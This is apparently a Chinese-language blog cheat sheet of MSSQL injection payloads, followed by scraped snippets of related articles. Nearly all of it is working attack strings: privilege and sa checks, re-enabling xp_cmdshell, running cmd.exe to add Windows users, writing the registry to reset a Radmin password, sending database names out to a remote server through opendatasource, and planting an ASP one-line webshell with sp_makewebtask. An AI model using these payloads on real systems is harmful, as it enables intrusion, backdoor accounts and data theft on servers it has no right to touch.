SQL命令注入彙總

2021-06-22 13:47:56 字數 4632 閱讀 4281

sql命令注入彙總

零℃的吻

//看看是什麼許可權的

and 1=(select is_member(』db_owner』))

and char(124)+cast(is_member(』db_owner』) as varchar(1))+char(124)=1 ;--

//檢測是否有讀取某資料庫的許可權

and 1= (select has_dbaccess(』master』))

and char(124)+cast(has_dbaccess(』master』) as varchar(1))+char(124)=1 --

數字型別

and char(124)+user+char(124)=0

字元型別

』 and char(124)+user+char(124)=0 and 』』=』

搜尋型別

』 and char(124)+user+char(124)=0 and 』%』=』

爆使用者名稱

and user>0

』 and user>0 and 』』=』

檢測是否為sa許可權

and 1=(select is_srvrolemember(』sysadmin』));--

and char(124)+cast(is_srvrolemember(0x730079007300610064006d

0069006e00) as varchar(1))+char(124)=1 --

檢測是不是mssql資料庫

and exists (select * from sysobjects);-- 

檢測是否支援多行

;declare @d int;-- 

恢復 xp_cmdshell

;exec master..dbo.sp_addextendedproc 』xp_cmdshell』,』xplog70.dll』;--

select * from openrowset(』sqloledb』,』server=192.168.1.200,1433;uid=test;pwd=pafpaf』,』select @@version』)

//-----------------------

// 

執行命令

//-----------------------

首先開啟沙盤模式:

exec master..xp_regwrite 』hkey_local_machine』,』softwaremicrosoftjet4.0engines』,』sandboxmode』,』reg_dword』,1

然後利用jet.oledb執行系統命令

select * from openrowset(』microsoft.jet.oledb.4.0』,』;database=c:winntsystem32iasias.mdb』,』select shell("cmd.exe /c net user admin admin1234 /add")』)

執行命令

;declare @shell int exec sp_oacreate 』wscript.shell』,@shell output exec sp_oamethod @shell,』run』,null, 』c:winntsystem32cmd.exe /c net user paf pafpaf /add』;--

exec [master].[dbo].[xp_cmdshell] 』cmd /c md c:1111』

判斷xp_cmdshell擴充套件儲存過程是否存在:

and 1=(select count(*) from master.dbo.sysobjects where xtype = 』x』 and name = 』xp_cmdshell』)

寫登錄檔

exec master..xp_regwrite 』hkey_local_machine』,』softwaremicrosoftjet4.0engines』,』sandboxmode』,』reg_dword』,1

reg_sz

讀登錄檔

exec master..xp_regread 』hkey_local_machine』,』softwaremicrosoftwindows

ntcurrentversionwinlogon

』,』userinit』

讀取目錄內容

exec master..xp_dirtree 』c:winntsystem32』,1,1

資料庫備份

backup database pubs to disk = 』c:123.bak』

//爆出長度

and (select char(124)+cast(count(1) as varchar(8000))+char(124) from d99_tmp)=0 ;--

更改sa口令方法:用sql綜合利用工具連線後,執行命令:

exec sp_password null,』新密碼』,』sa』

新增和刪除乙個sa許可權的使用者test:

exec master.dbo.sp_addlogin test,ptlove

exec master.dbo.sp_addsrvrolemember test,sysadmin

刪除擴充套件儲存過過程xp_cmdshell的語句: 

exec sp_dropextendedproc 』xp_cmdshell』

新增擴充套件儲存過過程

exec [master]..sp_addextendedproc 』xp_proxiedadata』, 』c:winntsystem32sqllog.dll』 

grant exec on xp_proxiedadata to public 

停掉或啟用某個服務。 

exec master..xp_servicecontrol 』stop』,』schedule』

exec master..xp_servicecontrol 』start』,』schedule』

dbo.xp_subdirs

只列某個目錄下的子目錄。

xp_getfiledetails 』c:inetpubwwwrootsqlinjectl

ogin.asp』

dbo.xp_makecab

將目標多個檔案壓縮到某個目標檔案之內。

所有要壓縮的檔案都可以接在引數列的最後方,以逗號隔開。

dbo.xp_makecab

』c:test.cab』,』mszip』,1,

』c:inetpubwwwrootsqlinjectl

ogin.asp』,

』c:inetpubwwwrootsqlinjects

ecurelogin.asp』

xp_terminate_process

停掉某個執行中的程式,但賦予的引數是 process id。

利用」任務管理器」,透過選單「檢視」-「選擇字段」勾選 pid,就可以看到每個執行程式的 process id

xp_terminate_process 2484

xp_unpackcab

解開壓縮檔。

xp_unpackcab 』c:test.cab』,』c:temp』,1

某機,安裝了radmin,密碼被修改了,regedit.exe不知道被刪除了還是被改名了,net.exe不存在,沒有辦法使用 regedit /e 匯入註冊檔案,但是mssql是sa許可權,使用如下命令 exec master.dbo.xp_regwrite 』hkey_local_machine』,』systemradminv2.0 server parameters』,』parameter』,』reg_binary』,0x02ba5e187e2589be6f80da

0046aa7e3c 即可修改密碼為12345678。如果要修改埠值 exec master.dbo.xp_regwrite 』hkey_local_machine』,』systemradminv2.0 serverparameters』,』port』,』reg_binary』,0xd20400 則埠值改為1234

create database lcx;

create table ku(name nvarchar(256) null);

create table biao(id int null,name nvarchar(256) null);

//得到資料庫名

insert into opendatasource(』sqloledb』,』server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx』).lcx.dbo.ku select name from master.dbo.sysdatabases

//在master中建立表,看看許可權怎樣

create table master..d_test(id nvarchar(4000) null,data nvarchar(4000) null);--

用 sp_makewebtask直接在web目錄裡寫入一句話馬:

』』 』"> sp_makewebtask 』d:wwwtt88.asp』,』 select 』』<%execute(request("a"))%>』』 』;--

//更新表內容

update films set kind = 』dramatic』 where id = 123

//刪除內容

delete from table_name where stockid = 3

SQL注入基礎 易錯問題彙總

sql注入基礎 易錯問題彙總 1.sql注入本質是什麼 把使用者輸入當做 執行 2.sql注入的條件 使用者可控輸入和原本程式要執行 拼接使用者輸入且當作sql語句去執行 3.order by的作用及含義 order by 用於判斷顯示位,order by 原有的作用是對字段進行乙個排序,在sql注...

CTF 多個sql報錯注入命令

1 updatexml xml document,xpath string,new value 第乙個引數 xml document是string格式,為xml文件物件的名稱,文中為doc 第二個引數 xpath string xpath格式的字串 如果不了解xpath語法,可以在網上查詢教程。第三...

SQL注入(三) sql注入 bugku

原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...